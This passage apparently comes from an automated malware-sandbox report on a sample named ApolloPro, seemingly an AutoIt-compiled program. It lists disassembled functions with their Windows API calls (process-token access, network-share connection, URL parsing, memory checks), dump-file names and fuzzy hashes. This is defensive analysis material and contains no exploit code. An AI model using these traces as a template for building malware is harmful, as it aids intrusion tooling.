                                                                    • GetPixel.GDI32(00000000,00000000,?), ref: 007EC203
                                                                    • GetPixel.GDI32(00000000,?,?), ref: 007EC223
                                                                    • ReleaseDC.USER32(?,00000000), ref: 007EC22E
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                                    • String ID:
                                                                    • API String ID: 1946975507-0
                                                                    • Opcode ID: 5e61cf434b3a0ca5185d408363addf6e24fe23cafa0dec9ab6962b62c5de05c6
                                                                    • Instruction ID: c238dac176d157406e9fb0db4dff636585d74134519f767c045505946772be9c
                                                                    • Opcode Fuzzy Hash: 5e61cf434b3a0ca5185d408363addf6e24fe23cafa0dec9ab6962b62c5de05c6
                                                                    • Instruction Fuzzy Hash: F9E06535504284BBDB225F64AC097D93B21FB06332F048366FB69580E187714581DF12
                                                                    Function 00809330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCurrentThread.KERNEL32 ref: 00809339
                                                                    • OpenThreadToken.ADVAPI32(00000000,?,?,?,00808F04), ref: 00809340
                                                                    • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00808F04), ref: 0080934D
                                                                    • OpenProcessToken.ADVAPI32(00000000,?,?,?,00808F04), ref: 00809354
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CurrentOpenProcessThreadToken
                                                                    • String ID:
                                                                    • API String ID: 3974789173-0
                                                                    • Opcode ID: 3378c0d069b1821d6874bdca8860c0d43f919af06beebeae4d82dc32af4d70e5
                                                                    • Instruction ID: 7318e5df2b6cf1109e47eb31ad71e7475e91e48fb9b2994015374cafdf0bff1f
                                                                    • Opcode Fuzzy Hash: 3378c0d069b1821d6874bdca8860c0d43f919af06beebeae4d82dc32af4d70e5
                                                                    • Instruction Fuzzy Hash: 42E04F3A6012219BD7601FB25D0DB577BACFF52791F118818E785C90D0E6349444CF50
                                                                    Function 007F0679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDesktopWindow.USER32 ref: 007F0679
                                                                    • GetDC.USER32(00000000), ref: 007F0683
                                                                    • GetDeviceCaps.GDI32(00000000,0000000C), ref: 007F06A3
                                                                    • ReleaseDC.USER32(?), ref: 007F06C4
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CapsDesktopDeviceReleaseWindow
                                                                    • String ID:
                                                                    • API String ID: 2889604237-0
                                                                    • Opcode ID: 3c6cac0f4dd1bfc7a1f7f84fceea7b499f214d5ac80a3027eed80de5232067eb
                                                                    • Instruction ID: 9a3cb2924f90f0425353ee89a3406a9d2dae86fd15cb0e2b5cb9437d878a017f
                                                                    • Opcode Fuzzy Hash: 3c6cac0f4dd1bfc7a1f7f84fceea7b499f214d5ac80a3027eed80de5232067eb
                                                                    • Instruction Fuzzy Hash: 72E0E5B9900204EFCB019F60D808BAE7BB1FB98310F128409FE5AA7310CB388551DF54
                                                                    Function 007F068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDesktopWindow.USER32 ref: 007F068D
                                                                    • GetDC.USER32(00000000), ref: 007F0697
                                                                    • GetDeviceCaps.GDI32(00000000,0000000C), ref: 007F06A3
                                                                    • ReleaseDC.USER32(?), ref: 007F06C4
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CapsDesktopDeviceReleaseWindow
                                                                    • String ID:
                                                                    • API String ID: 2889604237-0
                                                                    • Opcode ID: b0eedf92153f3e5640aa12236e9cb228d54f977754a8fcc73fa41e496a6ff23c
                                                                    • Instruction ID: 684982cb81a4aac8de5453940c0899d9795566dd3de5d35bf9717d0a5a6e444a
                                                                    • Opcode Fuzzy Hash: b0eedf92153f3e5640aa12236e9cb228d54f977754a8fcc73fa41e496a6ff23c
                                                                    • Instruction Fuzzy Hash: F4E0EEB9800204AFCB11AFA0D808A9E7BA1BBA8310F128408FE5AA7210CB389551CF50
                                                                    Function 0080BE8C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • OleSetContainedObject.OLE32(?,00000001), ref: 0080C057
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ContainedObject
                                                                    • String ID: AutoIt3GUI$Container
                                                                    • API String ID: 3565006973-3941886329
                                                                    • Opcode ID: 92e40d7ac7f029b1c5ac1d66017dfc3995d412edcc861650fb507e2a973cfb38
                                                                    • Instruction ID: f07dd72c558400865b31725667ed08df52f15e162387b36f0a9eb0fc39b416ab
                                                                    • Opcode Fuzzy Hash: 92e40d7ac7f029b1c5ac1d66017dfc3995d412edcc861650fb507e2a973cfb38
                                                                    • Instruction Fuzzy Hash: C6913670600606EFDB64DF68CC84A6ABBF5FF49710F20856EE94ADB291DB71E841CB50
                                                                    Function 0081B5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C436A: _wcscpy.LIBCMT ref: 007C438D
                                                                      • Part of subcall function 007B4D37: __itow.LIBCMT ref: 007B4D62
                                                                      • Part of subcall function 007B4D37: __swprintf.LIBCMT ref: 007B4DAC
                                                                    • __wcsnicmp.LIBCMT ref: 0081B670
                                                                    • WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0081B739
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
                                                                    • String ID: LPT
                                                                    • API String ID: 3222508074-1350329615
                                                                    • Opcode ID: 0322b303f3a43758ccb67a95849df6a5b732a7f7a4a9fbb4ddda6dc7899486c2
                                                                    • Instruction ID: 9707933a126b1770dda5631b4655d91e1428b62cc4d7432be430242001a15b8e
                                                                    • Opcode Fuzzy Hash: 0322b303f3a43758ccb67a95849df6a5b732a7f7a4a9fbb4ddda6dc7899486c2
                                                                    • Instruction Fuzzy Hash: 8E613A75A00219AFCB14EF94C895EEEB7B8FF48310F158459F946EB291D774AE808B90
                                                                    Function 007F7190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove
                                                                    • String ID: #V|
                                                                    • API String ID: 4104443479-1880680046
                                                                    • Opcode ID: 101ca9af215a22a909ca5227bd930dbbc0d4f32c69cd419c3dfba4ad259e8e26
                                                                    • Instruction ID: 3cd2f04b929ae74c429d9446cb7f29aa7f1ca0d4647a809f158678b7b9b67f12
                                                                    • Opcode Fuzzy Hash: 101ca9af215a22a909ca5227bd930dbbc0d4f32c69cd419c3dfba4ad259e8e26
                                                                    • Instruction Fuzzy Hash: B8515B70A00609DFCF24CFA8C884ABEBBB1FF44304F14852AE95AD7340E738A955CB91
                                                                    Function 007BE00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • Sleep.KERNEL32(00000000), ref: 007BE01E
                                                                    • GlobalMemoryStatusEx.KERNEL32(?), ref: 007BE037
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: GlobalMemorySleepStatus
                                                                    • String ID: @
                                                                    • API String ID: 2783356886-2766056989
                                                                    • Opcode ID: 949f3e020d297d8b492cbbda4c0bfa17c27b7582c913cfd4ab6ab3ffd4638e29
                                                                    • Instruction ID: f96901b729164d159665113024af613b6d9a75fd53a837f5d0f2a9e5a14cb53e
                                                                    • Opcode Fuzzy Hash: 949f3e020d297d8b492cbbda4c0bfa17c27b7582c913cfd4ab6ab3ffd4638e29
                                                                    • Instruction Fuzzy Hash: E2515A71508744DBE320AF50E889BAFB7F8FF84315F51484DF2D842196DB749528CB56
                                                                    Function 00838096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00838186
                                                                    • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0083819B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend
                                                                    • String ID: '
                                                                    • API String ID: 3850602802-1997036262
                                                                    • Opcode ID: 8799e00e63005971812c1148f38f5cde12a3dba091c7b10b968ee41daf4d0b90
                                                                    • Instruction ID: e41649454f55d5e400058a4e976d974ce8b0cafdbd650a642e3e15651492baa0
                                                                    • Opcode Fuzzy Hash: 8799e00e63005971812c1148f38f5cde12a3dba091c7b10b968ee41daf4d0b90
                                                                    • Instruction Fuzzy Hash: 45410674A0130ADFDB14CF68C881BEABBB5FB49340F10056AE909EB351DB71A956CF90
                                                                    Function 00822C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 00822C6A
                                                                    • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00822CA0
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CrackInternet_memset
                                                                    • String ID: |
                                                                    • API String ID: 1413715105-2343686810
                                                                    • Opcode ID: d58dab873cfe67062580f427fabccf73a8a02fc99719ded727de981f711c2eff
                                                                    • Instruction ID: 48213b047560f28db59021e6ec4a83f4252a90eced5b7b549509fb370b725c93
                                                                    • Opcode Fuzzy Hash: d58dab873cfe67062580f427fabccf73a8a02fc99719ded727de981f711c2eff
                                                                    • Instruction Fuzzy Hash: 6E311971C01119EBCF11EFA4DC85EEEBFB9FF05304F100029F915A6262EA355956DBA0
                                                                    Function 00837088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DestroyWindow.USER32(?,?,?,?), ref: 0083713C
                                                                    • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00837178
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$DestroyMove
                                                                    • String ID: static
                                                                    • API String ID: 2139405536-2160076837
                                                                    • Opcode ID: 0e18423bf106397cee87bb12e4fe0d2daee307206f3a28370c689cf68e7785d9
                                                                    • Instruction ID: 4304a70f77ed7c8927100eb0ae86bf49b47dc430093283f1a8debc01d9386ae0
                                                                    • Opcode Fuzzy Hash: 0e18423bf106397cee87bb12e4fe0d2daee307206f3a28370c689cf68e7785d9
                                                                    • Instruction Fuzzy Hash: 6E3190B1100604EADB249F78CC80BFB77A9FF88724F109619FA95C7191DA35EC81DBA0
                                                                    Function 00813049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 008130B8
                                                                    • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 008130F3
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: InfoItemMenu_memset
                                                                    • String ID: 0
                                                                    • API String ID: 2223754486-4108050209
                                                                    • Opcode ID: 7ff4fbd4f0dbbfe097e6edd052c692b709ddeb4d1989a569e62a6fee083af394
                                                                    • Instruction ID: d9a3bcd78166c0a71d7287300d494b8e12b7f30dff6e495a4411b6d895d13f8e
                                                                    • Opcode Fuzzy Hash: 7ff4fbd4f0dbbfe097e6edd052c692b709ddeb4d1989a569e62a6fee083af394
                                                                    • Instruction Fuzzy Hash: 69318F31A00209EBEB259F58D885BEEBBBDFF05350F144019F985E61A1E7709B84CB51
                                                                    Function 008240B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __snwprintf.LIBCMT ref: 00824132
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __snwprintf_memmove
                                                                    • String ID: , $$AUTOITCALLVARIABLE%d
                                                                    • API String ID: 3506404897-2584243854
                                                                    • Opcode ID: f77a8f893365d9a19a8cae772f074f8933758753d3832e2e8deb52806d730e1d
                                                                    • Instruction ID: 3d5caf7040f7684d82244986861e3d3f48f4065fd677ec2e3bdb507386cc7647
                                                                    • Opcode Fuzzy Hash: f77a8f893365d9a19a8cae772f074f8933758753d3832e2e8deb52806d730e1d
                                                                    • Instruction Fuzzy Hash: DE219130A0022CAACF14EF64D845FAE77A8FF55340F400068F905E7242DB74E995CBA1
                                                                    Function 00836CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00836D86
                                                                    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00836D91
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend
                                                                    • String ID: Combobox
                                                                    • API String ID: 3850602802-2096851135
                                                                    • Opcode ID: 4b1411c4192dfc3c91227e1eed5c17c58674a79ed73fd712b9b8b43a5507d1c7
                                                                    • Instruction ID: c8febbf4d607622cfb2f4231aba85f054c0a6fd13d7f7d3fcd852d111cc6ea95
                                                                    • Opcode Fuzzy Hash: 4b1411c4192dfc3c91227e1eed5c17c58674a79ed73fd712b9b8b43a5507d1c7
                                                                    • Instruction Fuzzy Hash: 06115171310209BFEF159E58DC81EBB3B6AFBC43A4F118125F918DB290E6769C6187A0
                                                                    Function 0083722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 007B214F
                                                                      • Part of subcall function 007B2111: GetStockObject.GDI32(00000011), ref: 007B2163
                                                                      • Part of subcall function 007B2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 007B216D
                                                                    • GetWindowRect.USER32(00000000,?), ref: 00837296
                                                                    • GetSysColor.USER32(00000012), ref: 008372B0
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                                    • String ID: static
                                                                    • API String ID: 1983116058-2160076837
                                                                    • Opcode ID: 9a7c4e169cd8a6d94ae90ffc61f648a7e2084685f3728fc75ec362c289acb30f
                                                                    • Instruction ID: a42e33146ea02821038831e253fefa569eb44258a490390807dcb39ba1fb4a0c
                                                                    • Opcode Fuzzy Hash: 9a7c4e169cd8a6d94ae90ffc61f648a7e2084685f3728fc75ec362c289acb30f
                                                                    • Instruction Fuzzy Hash: F621177261420AAFDB14DFA8CC45AFA7BE8FB48314F014518FE56D3251D635E851DB90
                                                                    Function 00836F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetWindowTextLengthW.USER32(00000000), ref: 00836FC7
                                                                    • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00836FD6
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: LengthMessageSendTextWindow
                                                                    • String ID: edit
                                                                    • API String ID: 2978978980-2167791130
                                                                    • Opcode ID: 614943c66d3a57aec96e8145c4ab6221413d815475ca947411abf220ab6c5fe8
                                                                    • Instruction ID: 49395ac72aa31dd7b050d770a086d539280569892e1f28b0da738a9edd8294ef
                                                                    • Opcode Fuzzy Hash: 614943c66d3a57aec96e8145c4ab6221413d815475ca947411abf220ab6c5fe8
                                                                    • Instruction Fuzzy Hash: 1F113D71500208BBEB109E68EC84EFB3B69FB85368F108714FA65D71E0DB75DC619BA0
                                                                    Function 00813156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 008131C9
                                                                    • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 008131E8
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
